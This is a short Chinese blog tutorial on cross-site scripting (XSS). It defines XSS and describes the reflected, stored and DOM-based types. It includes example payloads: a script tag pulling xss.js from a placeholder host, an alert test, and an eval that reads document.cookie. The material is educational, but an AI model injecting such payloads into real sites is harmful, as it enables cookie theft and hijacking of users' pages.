2018年的文章移至github上,点我去!2018年的文章移至github上,点我去!2018年的文章移至github上,点我去!

Fork me on GitHub

Web安全之XSS(Cross Site Scripting)深入理解

 

XSS的含义


XSS(Cross Site Scripting)即跨站脚本。跨站的主要内容是在脚本上。

跨站脚本


跨站脚本的跨,体现了浏览器的特性,可以跨域。所以也就给远程代码或者第三方域上的代码提供了通道。
一般弹窗攻击是无意义的。所以一般都会以脚本的形式嵌入页面。

<script src="http://www.xxx.com/xss.js"></script>

而不只是

<script>alert('XSS')</script>

多发于有输入的页面,类似表单等。

eval扮演的角色


有时候eval在其中也扮演了重要角色,因为它能解释执行js代码,类似一个小型的解释器。

<script>eval('console.log(document.cookie)')</script>

XSS的三种类型


反射型XSS

发出请求的时候,XSS代码出现在URL中,作为输入提交到服务器,服务器响应后在响应内容中出现这段XSS代码,最后交给浏览器解析,这个过程类似反射。

存储型XSS

与反射性的差别在于数据不会立马响应给客户端,而是会存储在诸如数据,文件中。等待下次用户查询的时候显示出来。触发攻。

DOM XSS

最后一种直接不经过服务器,直接在客户端依靠浏览器的解析来进行。例如上面的eval。

posted on   qize  阅读(637)  评论(0编辑  收藏  举报

编辑推荐:
· Linux系列:如何调试 malloc 的底层源码
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 因为Apifox不支持离线,我果断选择了Apipost!
· 通过 API 将Deepseek响应流式内容输出到前端

导航

< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5
点击右上角即可分享
微信分享提示